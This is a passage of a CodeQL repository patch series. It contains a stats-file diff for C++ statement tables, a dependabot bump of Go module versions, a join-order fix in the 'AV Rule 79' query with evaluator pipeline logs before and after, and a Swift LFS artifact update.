8 @@ -36699,13 +36559,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36736,13 +36596,13 @@ 12 - 547 - 548 + 545 + 546 8 - 1601 - 1602 + 1589 + 1590 8 @@ -36762,8 +36622,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36783,8 +36643,8 @@ 8 - 927 - 928 + 923 + 924 8 @@ -36825,8 +36685,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36862,8 +36722,8 @@ 8 - 1817 - 1818 + 1803 + 1804 8 @@ -36880,17 +36740,17 @@ 1 2 - 16756 + 16566 2 6 - 1413 + 1398 6 68 - 433 + 431 @@ -36906,12 +36766,12 @@ 1 2 - 17381 + 17179 2 68 - 1222 + 1217 @@ -36927,12 +36787,12 @@ 1 2 - 17858 + 17663 2 8 - 745 + 733 @@ -36948,17 +36808,17 @@ 1 2 - 16756 + 16566 2 6 - 1413 + 1398 6 68 - 433 + 431 @@ -36974,12 +36834,12 @@ 1 2 - 18578 + 18370 2 3 - 26 + 25 @@ -36995,7 +36855,7 @@ 1 2 - 18604 + 18396 @@ -37005,11 +36865,11 @@ fold - 1372 + 1368 expr - 1372 + 1368 operator @@ -37031,7 +36891,7 @@ 1 2 - 1372 + 1368 @@ -37047,7 +36907,7 @@ 1 2 - 1372 + 1368 @@ -37126,19 +36986,19 @@ stmts - 6324453 + 6258938 id - 6324453 + 6258938 kind - 2556 + 172 location - 2966319 + 2754699 @@ -37152,7 +37012,7 @@ 1 2 - 6324453 + 6258938 @@ -37168,7 +37028,7 @@ 1 2 - 6324453 + 6258938 @@ -37184,97 +37044,102 @@ 1 2 - 134 + 8 - 18 - 19 - 134 + 26 + 27 + 8 - 22 - 23 - 134 + 418 + 419 + 8 - 51 - 52 - 134 + 546 + 547 + 8 - 76 - 77 - 134 + 827 + 828 + 8 - 84 - 85 - 134 + 1470 + 1471 + 8 - 107 - 108 - 134 + 1577 + 1578 + 8 - 163 - 164 - 134 + 1802 + 1803 + 8 - 258 - 259 - 134 + 2462 + 2463 + 8 - 299 - 300 - 134 + 3217 + 3218 + 8 - 412 - 413 - 134 + 3610 + 3611 + 8 - 498 - 499 - 134 + 4863 + 4864 + 8 - 538 - 539 - 134 + 16249 + 16250 + 8 - 1371 - 1372 - 134 + 16732 + 16733 + 8 - 2810 - 2811 - 134 + 21439 + 21440 + 8 - 4866 - 4867 - 134 + 68795 + 68796 + 8 - 9205 - 9206 - 134 + 89075 + 89076 + 8 - 12120 - 12121 - 134 + 112007 + 112008 + 8 - 14105 - 14106 - 134 + 185649 + 185650 + 8 + + + 194240 + 194241 + 8 @@ -37290,97 +37155,102 @@ 1 2 - 134 + 8 - 8 - 9 - 134 + 26 + 27 + 8 - 18 - 19 - 134 + 109 + 110 + 8 - 45 - 46 - 134 + 419 + 420 + 8 - 50 - 51 - 134 + 778 + 779 + 8 - 56 - 57 - 134 + 1079 + 1080 + 8 - 74 - 75 - 134 + 1311 + 1312 + 8 - 101 - 102 - 134 + 1347 + 1348 + 8 - 103 - 104 - 134 + 1388 + 1389 + 8 - 131 - 132 - 134 + 2061 + 2062 + 8 - 225 - 226 - 134 + 2309 + 2310 + 8 - 252 - 253 - 134 + 2476 + 2477 + 8 - 368 - 369 - 134 + 7043 + 7044 + 8 - 650 - 651 - 134 + 8622 + 8623 + 8 - 1753 - 1754 - 134 + 11206 + 11207 + 8 - 2198 - 2199 - 134 + 36340 + 36341 + 8 - 4244 - 4245 - 134 + 43405 + 43406 + 8 - 6101 - 6102 - 134 + 47752 + 47753 + 8 - 6607 - 6608 - 134 + 83834 + 83835 + 8 + + + 97372 + 97373 + 8 @@ -37396,22 +37266,17 @@ 1 2 - 2357205 + 2352912 2 - 3 - 243538 - - - 3 - 8 - 228602 + 4 + 239081 - 8 - 653 - 136973 + 4 + 1581 + 162705 @@ -37427,12 +37292,12 @@ 1 2 - 2892720 + 2667989 2 - 8 - 73599 + 10 + 86709 @@ -37549,15 +37414,15 @@ if_initialization - 403 + 375 if_stmt - 403 + 375 init_id - 403 + 375 @@ -37571,7 +37436,7 @@ 1 2 - 403 + 375 @@ -37587,7 +37452,7 @@ 1 2 - 403 + 375 @@ -37597,15 +37462,15 @@ if_then - 987309 + 987388 if_stmt - 987309 + 987388 then_id - 987309 + 987388 @@ -37619,7 +37484,7 @@ 1 2 - 987309 + 987388 @@ -37635,7 +37500,7 @@ 1 2 - 987309 + 987388 @@ -37645,15 +37510,15 @@ if_else - 468357 + 467787 if_stmt - 468357 + 467787 else_id - 468357 + 467787 @@ -37667,7 +37532,7 @@ 1 2 - 468357 + 467787 @@ -37683,7 +37548,7 @@ 1 2 - 468357 + 467787 @@ -37741,15 +37606,15 @@ constexpr_if_then - 72388 + 103934 constexpr_if_stmt - 72388 + 103934 then_id - 72388 + 103934 @@ -37763,7 +37628,7 @@ 1 2 - 72388 + 103934 @@ -37779,7 +37644,7 @@ 1 2 - 72388 + 103934 @@ -37789,15 +37654,15 @@ constexpr_if_else - 41980 + 74042 constexpr_if_stmt - 41980 + 74042 else_id - 41980 + 74042 @@ -37811,7 +37676,7 @@ 1 2 - 41980 + 74042 @@ -37827,7 +37692,7 @@ 1 2 - 41980 + 74042 @@ -37933,15 +37798,15 @@ while_body - 39531 + 39534 while_stmt - 39531 + 39534 body_id - 39531 + 39534 @@ -37955,7 +37820,7 @@ 1 2 - 39531 + 39534 @@ -37971,7 +37836,7 @@ 1 2 - 39531 + 39534 @@ -37981,15 +37846,15 @@ do_body - 232977 + 232974 do_stmt - 232977 + 232974 body_id - 232977 + 232974 @@ -38003,7 +37868,7 @@ 1 2 - 232977 + 232974 @@ -38019,7 +37884,7 @@ 1 2 - 232977 + 232974 @@ -38077,11 +37942,11 @@ switch_case - 895930 + 894840 switch_stmt - 441314 + 440777 index @@ -38089,7 +37954,7 @@ case_id - 895930 + 894840 @@ -38108,12 +37973,12 @@ 2 3 - 438224 + 437691 3 19 - 3066 + 3062 @@ -38134,12 +37999,12 @@ 2 3 - 438224 + 437691 3 19 - 3066 + 3062 @@ -38297,7 +38162,7 @@ 1 2 - 895930 + 894840 @@ -38313,7 +38178,7 @@ 1 2 - 895930 + 894840 @@ -38323,15 +38188,15 @@ switch_body - 441314 + 440777 switch_stmt - 441314 + 440777 body_id - 441314 + 440777 @@ -38345,7 +38210,7 @@ 1 2 - 441314 + 440777 @@ -38361,7 +38226,7 @@ 1 2 - 441314 + 440777 @@ -38371,15 +38236,15 @@ for_initialization - 73031 + 73036 for_stmt - 73031 + 73036 init_id - 73031 + 73036 @@ -38393,7 +38258,7 @@ 1 2 - 73031 + 73036 @@ -38409,7 +38274,7 @@ 1 2 - 73031 + 73036 @@ -38419,15 +38284,15 @@ for_condition - 76117 + 76123 for_stmt - 76117 + 76123 condition_id - 76117 + 76123 @@ -38441,7 +38306,7 @@ 1 2 - 76117 + 76123 @@ -38457,7 +38322,7 @@ 1 2 - 76117 + 76123 @@ -38467,15 +38332,15 @@ for_update - 73171 + 73177 for_stmt - 73171 + 73177 update_id - 73171 + 73177 @@ -38489,7 +38354,7 @@ 1 2 - 73171 + 73177 @@ -38505,7 +38370,7 @@ 1 2 - 73171 + 73177 @@ -38515,15 +38380,15 @@ for_body - 84141 + 84148 for_stmt - 84141 + 84148 body_id - 84141 + 84148 @@ -38537,7 +38402,7 @@ 1 2 - 84141 + 84148 @@ -38553,7 +38418,7 @@ 1 2 - 84141 + 84148 @@ -38563,19 +38428,19 @@ stmtparents - 5536606 + 5523824 id - 5536606 + 5523824 index - 16843 + 16765 parent - 2349144 + 2342363 @@ -38589,7 +38454,7 @@ 1 2 - 5536606 + 5523824 @@ -38605,7 +38470,7 @@ 1 2 - 5536606 + 5523824 @@ -38621,52 +38486,52 @@ 1 2 - 5533 + 5507 2 3 - 1379 + 1372 3 4 - 303 + 302 4 5 - 2142 + 2132 7 8 - 1405 + 1398 8 12 - 1092 + 1087 12 29 - 1483 + 1476 29 38 - 1266 + 1260 41 77 - 1274 + 1269 77 - 194851 - 962 + 195079 + 958 @@ -38682,52 +38547,52 @@ 1 2 - 5533 + 5507 2 3 - 1379 + 1372 3 4 - 303 + 302 4 5 - 2142 + 2132 7 8 - 1405 + 1398 8 12 - 1092 + 1087 12 29 - 1483 + 1476 29 38 - 1266 + 1260 41 77 - 1274 + 1269 77 - 194851 - 962 + 195079 + 958 @@ -38743,32 +38608,32 @@ 1 2 - 1349093 + 1344445 2 3 - 508963 + 507773 3 4 - 144290 + 144118 4 6 - 151888 + 151422 6 - 17 - 178125 + 16 + 175775 - 17 + 16 1943 - 16783 + 18828 @@ -38784,32 +38649,32 @@ 1 2 - 1349093 + 1344445 2 3 - 508963 + 507773 3 4 - 144290 + 144118 4 6 - 151888 + 151422 6 - 17 - 178125 + 16 + 175775 - 17 + 16 1943 - 16783 + 18828 @@ -38819,22 +38684,22 @@ ishandler - 47453 + 47389 block - 47453 + 47389 stmt_decl_bind - 730619 + 730244 stmt - 690157 + 689803 num @@ -38842,7 +38707,7 @@ decl - 730550 + 730175 @@ -38856,12 +38721,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -38877,12 +38742,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -38942,7 +38807,7 @@ 5480 - 170178 + 170179 8 @@ -39003,7 +38868,7 @@ 5480 - 170161 + 170162 8 @@ -39020,7 +38885,7 @@ 1 2 - 730526 + 730151 2 @@ -39041,7 +38906,7 @@ 1 2 - 730550 + 730175 @@ -39051,11 +38916,11 @@ stmt_decl_entry_bind - 730619 + 730244 stmt - 690157 + 689803 num @@ -39063,7 +38928,7 @@ decl_entry - 730619 + 730244 @@ -39077,12 +38942,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -39098,12 +38963,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -39163,7 +39028,7 @@ 5480 - 170178 + 170179 8 @@ -39224,7 +39089,7 @@ 5480 - 170178 + 170179 8 @@ -39241,7 +39106,7 @@ 1 2 - 730619 + 730244 @@ -39257,7 +39122,7 @@ 1 2 - 730619 + 730244 @@ -39267,15 +39132,15 @@ blockscope - 1838779 + 1764517 block - 1838779 + 1764517 enclosing - 1575731 + 1509119 @@ -39289,7 +39154,7 @@ 1 2 - 1838779 + 1764517 @@ -39305,17 +39170,17 @@ 1 2 - 1400410 + 1337771 2 3 - 129842 + 128699 3 28 - 45478 + 42649 @@ -39325,19 +39190,19 @@ jumpinfo - 347302 + 347327 id - 347302 + 347327 str - 28864 + 28866 target - 72493 + 72498 @@ -39351,7 +39216,7 @@ 1 2 - 347302 + 347327 @@ -39367,7 +39232,7 @@ 1 2 - 347302 + 347327 @@ -39383,7 +39248,7 @@ 2 3 - 13557 + 13558 3 @@ -39429,7 +39294,7 @@ 1 2 - 23122 + 23124 2 @@ -39460,17 +39325,17 @@ 2 3 - 36105 + 36107 3 4 - 17581 + 17583 4 5 - 7357 + 7358 5 @@ -39496,7 +39361,7 @@ 1 2 - 72493 + 72498 @@ -39506,19 +39371,19 @@ preprocdirects - 5704844 + 5407616 id - 5704844 + 5407616 kind - 1480 + 1375 location - 5701480 + 5404364 @@ -39532,7 +39397,7 @@ 1 2 - 5704844 + 5407616 @@ -39548,7 +39413,7 @@ 1 2 - 5704844 + 5407616 @@ -39564,57 +39429,57 @@ 1 2 - 134 + 125 - 122 - 123 - 134 + 145 + 146 + 125 - 694 - 695 - 134 + 808 + 809 + 125 - 799 - 800 - 134 + 866 + 867 + 125 - 932 - 933 - 134 + 973 + 974 + 125 - 1689 - 1690 - 134 + 1509 + 1510 + 125 - 1792 - 1793 - 134 + 1891 + 1892 + 125 - 3012 - 3013 - 134 + 3256 + 3257 + 125 - 3802 - 3803 - 134 + 4714 + 4715 + 125 - 6290 - 6291 - 134 + 7089 + 7090 + 125 - 23266 - 23267 - 134 + 21984 + 21985 + 125 @@ -39630,57 +39495,57 @@ 1 2 - 134 + 125 - 122 - 123 - 134 + 145 + 146 + 125 - 694 - 695 - 134 + 808 + 809 + 125 - 799 - 800 - 134 + 866 + 867 + 125 - 932 - 933 - 134 + 973 + 974 + 125 - 1689 - 1690 - 134 + 1509 + 1510 + 125 - 1792 - 1793 - 134 + 1891 + 1892 + 125 - 3012 - 3013 - 134 + 3256 + 3257 + 125 - 3802 - 3803 - 134 + 4714 + 4715 + 125 - 6290 - 6291 - 134 + 7089 + 7090 + 125 - 23241 - 23242 - 134 + 21958 + 21959 + 125 @@ -39696,12 +39561,12 @@ 1 2 - 5701345 + 5404239 - 26 - 27 - 134 + 27 + 28 + 125 @@ -39717,7 +39582,7 @@ 1 2 - 5701480 + 5404364 @@ -39727,15 +39592,15 @@ preprocpair - 1103859 + 1141282 begin - 846328 + 886636 elseelifend - 1103859 + 1141282 @@ -39749,17 +39614,17 @@ 1 2 - 601579 + 645622 2 3 - 235599 + 231383 3 9 - 9149 + 9630 @@ -39775,7 +39640,7 @@ 1 2 - 1103859 + 1141282 @@ -39785,41 +39650,41 @@ preproctrue - 388584 + 437752 branch - 388584 + 437752 preprocfalse - 273273 + 284664 branch - 273273 + 284664 preproctext - 4690461 + 4352508 id - 4690461 + 4352508 head - 3333241 + 2954828 body - 1948304 + 1681344 @@ -39833,7 +39698,7 @@ 1 2 - 4690461 + 4352508 @@ -39849,7 +39714,7 @@ 1 2 - 4690461 + 4352508 @@ -39865,12 +39730,12 @@ 1 2 - 3143793 + 2758089 2 - 740 - 189448 + 798 + 196738 @@ -39886,12 +39751,12 @@ 1 2 - 3253048 + 2875157 2 5 - 80192 + 79670 @@ -39907,17 +39772,17 @@ 1 2 - 1763699 + 1532758 2 - 6 - 146122 + 10 + 127698 - 6 - 12303 - 38481 + 10 + 13579 + 20887 @@ -39933,17 +39798,17 @@ 1 2 - 1767601 + 1537010 2 - 7 - 146526 + 12 + 127323 - 7 - 2977 - 34176 + 12 + 3231 + 17009 @@ -39953,15 +39818,15 @@ includes - 408508 + 406823 id - 408508 + 406823 included - 75250 + 74940 @@ -39975,7 +39840,7 @@ 1 2 - 408508 + 406823 @@ -39991,37 +39856,37 @@ 1 2 - 37239 + 37085 2 3 - 12106 + 12056 3 4 - 6351 + 6324 4 6 - 6865 + 6837 6 11 - 5795 + 5771 11 47 - 5646 + 5623 47 793 - 1245 + 1240 @@ -40031,15 +39896,15 @@ link_targets - 947 + 943 id - 947 + 943 binary - 947 + 943 @@ -40053,7 +39918,7 @@ 1 2 - 947 + 943 @@ -40069,7 +39934,7 @@ 1 2 - 947 + 943 @@ -40079,15 +39944,15 @@ link_parent - 38261175 + 38129861 element - 4866384 + 4849837 link_target - 429 + 427 @@ -40101,17 +39966,17 @@ 1 2 - 667923 + 665798 2 9 - 33936 + 33828 9 10 - 4164523 + 4150209 @@ -40130,48 +39995,48 @@ 42 - 97325 - 97326 + 97300 + 97301 42 - 97444 - 97445 + 97419 + 97420 42 - 97497 - 97498 + 97472 + 97473 42 - 97524 - 97525 + 97499 + 97500 42 - 97546 - 97547 + 97521 + 97522 42 - 97578 - 97579 + 97553 + 97554 42 - 99585 - 99586 + 99560 + 99561 42 - 102965 - 102966 + 102940 + 102941 42 - 104327 - 104328 + 104302 + 104303 42 From bbabf2c4104eb3a5685b531dbc0b124df3c71eee Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 6 Jun 2025 03:29:36 +0000 Subject: [PATCH 531/535] Bump the extractor-dependencies group in /go/extractor with 2 updates Bumps the extractor-dependencies group in /go/extractor with 2 updates: [golang.org/x/mod](https://github.com/golang/mod) and [golang.org/x/tools](https://github.com/golang/tools). Updates `golang.org/x/mod` from 0.24.0 to 0.25.0 - [Commits](https://github.com/golang/mod/compare/v0.24.0...v0.25.0) Updates `golang.org/x/tools` from 0.33.0 to 0.34.0 - [Release notes](https://github.com/golang/tools/releases) - [Commits](https://github.com/golang/tools/compare/v0.33.0...v0.34.0) --- updated-dependencies: - dependency-name: golang.org/x/mod dependency-version: 0.25.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: extractor-dependencies - dependency-name: golang.org/x/tools dependency-version: 0.34.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: extractor-dependencies ... Signed-off-by: dependabot[bot] --- go/extractor/go.mod | 6 +++--- go/extractor/go.sum | 12 ++++++------ 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/go/extractor/go.mod b/go/extractor/go.mod index cfdc82cbd2b4..8dce8565a58a 100644 --- a/go/extractor/go.mod +++ b/go/extractor/go.mod @@ -9,8 +9,8 @@ toolchain go1.24.0 // when adding or removing dependencies, run // bazel mod tidy require ( - golang.org/x/mod v0.24.0 - golang.org/x/tools v0.33.0 + golang.org/x/mod v0.25.0 + golang.org/x/tools v0.34.0 ) -require golang.org/x/sync v0.14.0 // indirect +require golang.org/x/sync v0.15.0 // indirect diff --git a/go/extractor/go.sum b/go/extractor/go.sum index 3341c6aa4ddc..c6a97825c8a1 100644 --- a/go/extractor/go.sum +++ b/go/extractor/go.sum @@ -1,8 +1,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= -golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= -golang.org/x/sync v0.14.0 h1:woo0S4Yywslg6hp4eUFjTVOyKt0RookbpAHG4c1HmhQ= -golang.org/x/sync v0.14.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= -golang.org/x/tools v0.33.0 h1:4qz2S3zmRxbGIhDIAgjxvFutSvH5EfnsYrRBj0UI0bc= -golang.org/x/tools v0.33.0/go.mod h1:CIJMaWEY88juyUfo7UbgPqbC8rU2OqfAV1h2Qp0oMYI= +golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w= +golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= +golang.org/x/sync v0.15.0 h1:KWH3jNZsfyT6xfAfKiz6MRNmd46ByHDYaZ7KSkCtdW8= +golang.org/x/sync v0.15.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= +golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= +golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= From 86f425d2fc543472f4b76db46ce73f50e496e8e7 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 6 Jun 2025 07:13:26 +0200 Subject: [PATCH 532/535] C++: Fix join-order problem after stats file update Before the fix: ``` Pipeline standard for AVRule79::exprReleases/3#e849cdd3@f2995ebb was evaluated in 5 iterations totaling 168745ms (delta sizes total: 12583). 85855 ~0% {2} r1 = SCAN `AVRule79::exprReleases/3#e849cdd3#prev_delta` OUTPUT In.1, In.2 85855 ~0% {2} r2 = JOIN r1 WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 115767 ~6% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333369 ~18% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 266264 ~204% {2} | JOIN WITH `Access::Access.getTarget/0#dispred#cf25c8aa` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 16379 ~21% {3} | JOIN WITH `Function::Function.getParameter/1#dispred#200dcf26_201#join_rhs` ON FIRST 1 OUTPUT Rhs.2, Lhs.1, Rhs.1 13117819221 ~0% {4} r3 = JOIN r2 WITH `Call::Call.getArgument/1#dispred#ada436ba_102#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1, Rhs.2 10477 ~3% {3} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5` ON FIRST 2 OUTPUT Lhs.0, Lhs.3, Lhs.2 13117819221 ~1% {4} r4 = JOIN r2 WITH `Call::Call.getArgument/1#dispred#ada436ba_102#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.2, Rhs.2 13022632157 ~1% {5} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1, Lhs.0, Lhs.3 3720 ~70% {3} | JOIN WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus` ON FIRST 2 OUTPUT Lhs.3, Lhs.4, Lhs.2 115767 ~6% {2} r5 = JOIN r1 WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333367 ~20% {3} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, _, Lhs.1 333367 ~12% {3} | REWRITE WITH Out.1 := 85 4 ~0% {2} | JOIN WITH exprs ON FIRST 2 OUTPUT Lhs.0, Lhs.2 4 ~100% {2} | JOIN WITH `Expr::Expr.getEnclosingFunction/0#dispred#3960f06c` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r6 = JOIN r5 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r7 = JOIN r5 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r8 = r6 UNION r7 0 ~0% {3} | JOIN WITH `Call::Call.getQualifier/0#dispred#7d175544` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.0 0 ~0% {3} | JOIN WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Lhs.1 14197 ~18% {3} r9 = r3 UNION r4 UNION r8 12615 ~3% {3} | AND NOT `AVRule79::exprReleases/3#e849cdd3#prev`(FIRST 3) return r9 ``` After: ``` Pipeline standard for AVRule79::exprReleases/3#e849cdd3@13dead04 was evaluated in 5 iterations totaling 68ms (delta sizes total: 12551). 85855 ~0% {2} r1 = SCAN `AVRule79::exprReleases/3#e849cdd3#prev_delta` OUTPUT In.1, In.2 85855 ~0% {2} r2 = JOIN r1 WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 115767 ~6% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333443 ~18% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 265872 ~204% {2} | JOIN WITH `Access::Access.getTarget/0#dispred#cf25c8aa` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 16399 ~27% {3} | JOIN WITH `Function::Function.getParameter/1#dispred#200dcf26_201#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Rhs.2 10489 ~1% {3} r3 = JOIN r2 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1 1558 ~80% {3} r4 = JOIN r2 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.2 2196 ~7% {3} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1 12685 ~3% {3} r5 = r3 UNION r4 12581 ~3% {3} | JOIN WITH `Call::Call.getArgument/1#dispred#ada436ba` ON FIRST 2 OUTPUT Lhs.0, Rhs.2, Lhs.2 115767 ~6% {2} r6 = JOIN r1 WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333443 ~20% {3} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, _, Lhs.1 333443 ~12% {3} | REWRITE WITH Out.1 := 85 4 ~0% {2} | JOIN WITH exprs ON FIRST 2 OUTPUT Lhs.0, Lhs.2 4 ~100% {2} | JOIN WITH `Expr::Expr.getEnclosingFunction/0#dispred#3960f06c` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r7 = JOIN r6 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r8 = JOIN r6 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r9 = r7 UNION r8 0 ~0% {3} | JOIN WITH `Call::Call.getQualifier/0#dispred#7d175544` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.0 0 ~0% {3} | JOIN WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Lhs.1 12581 ~3% {3} r10 = r5 UNION r9 12576 ~3% {3} | AND NOT `AVRule79::exprReleases/3#e849cdd3#prev`(FIRST 3) return r10 ``` --- cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql index 8575a4310422..85b779903ebf 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql @@ -98,8 +98,8 @@ private predicate exprReleases(Expr e, Expr released, string kind) { e.(FunctionCall).getTarget() = f or e.(FunctionCall).getTarget().(MemberFunction).getAnOverridingFunction+() = f ) and - access = f.getParameter(arg).getAnAccess() and - e.(FunctionCall).getArgument(arg) = released and + access = f.getParameter(pragma[only_bind_into](arg)).getAnAccess() and + e.(FunctionCall).getArgument(pragma[only_bind_into](arg)) = released and exprReleases(_, pragma[only_bind_into](exprOrDereference(globalValueNumber(access).getAnExpr())), kind) ) From 1f7a6ba5385341038ddb8354bd9470e04700c546 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 6 Jun 2025 11:18:21 +0200 Subject: [PATCH 533/535] Swift: Update LFS --- swift/third_party/load.bzl | 4 ---- swift/third_party/resources/resource-dir-linux.zip | 4 ++-- swift/third_party/resources/resource-dir-macos.zip | 4 ++-- swift/third_party/resources/swift-prebuilt-linux.tar.zst | 4 ++-- swift/third_party/resources/swift-prebuilt-macos.tar.zst | 4 ++-- 5 files changed, 8 insertions(+), 12 deletions(-) diff --git a/swift/third_party/load.bzl b/swift/third_party/load.bzl index a61e1ebd2896..d19345a18803 100644 --- a/swift/third_party/load.bzl +++ b/swift/third_party/load.bzl @@ -5,10 +5,6 @@ load("//misc/bazel:lfs.bzl", "lfs_archive", "lfs_files") _override = { # these are used to test new artifacts. Must be empty before merging to main - "swift-prebuilt-macOS-swift-6.1.2-RELEASE-109.tar.zst": "417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152", - "swift-prebuilt-Linux-swift-6.1.2-RELEASE-109.tar.zst": "abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4", - "resource-dir-macOS-swift-6.1.2-RELEASE-116.zip": "9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42", - "resource-dir-Linux-swift-6.1.2-RELEASE-116.zip": "f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511", } _staging_url = "https://github.com/dsp-testing/codeql-swift-artifacts/releases/download/staging-{}/{}" diff --git a/swift/third_party/resources/resource-dir-linux.zip b/swift/third_party/resources/resource-dir-linux.zip index e09b73863e59..251b0ca7fb64 100644 --- a/swift/third_party/resources/resource-dir-linux.zip +++ b/swift/third_party/resources/resource-dir-linux.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:1e00a730a93b85a5ba478590218e1f769792ec56501977cc72d941101c5c3657 -size 293644020 +oid sha256:f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511 +size 291469999 diff --git a/swift/third_party/resources/resource-dir-macos.zip b/swift/third_party/resources/resource-dir-macos.zip index 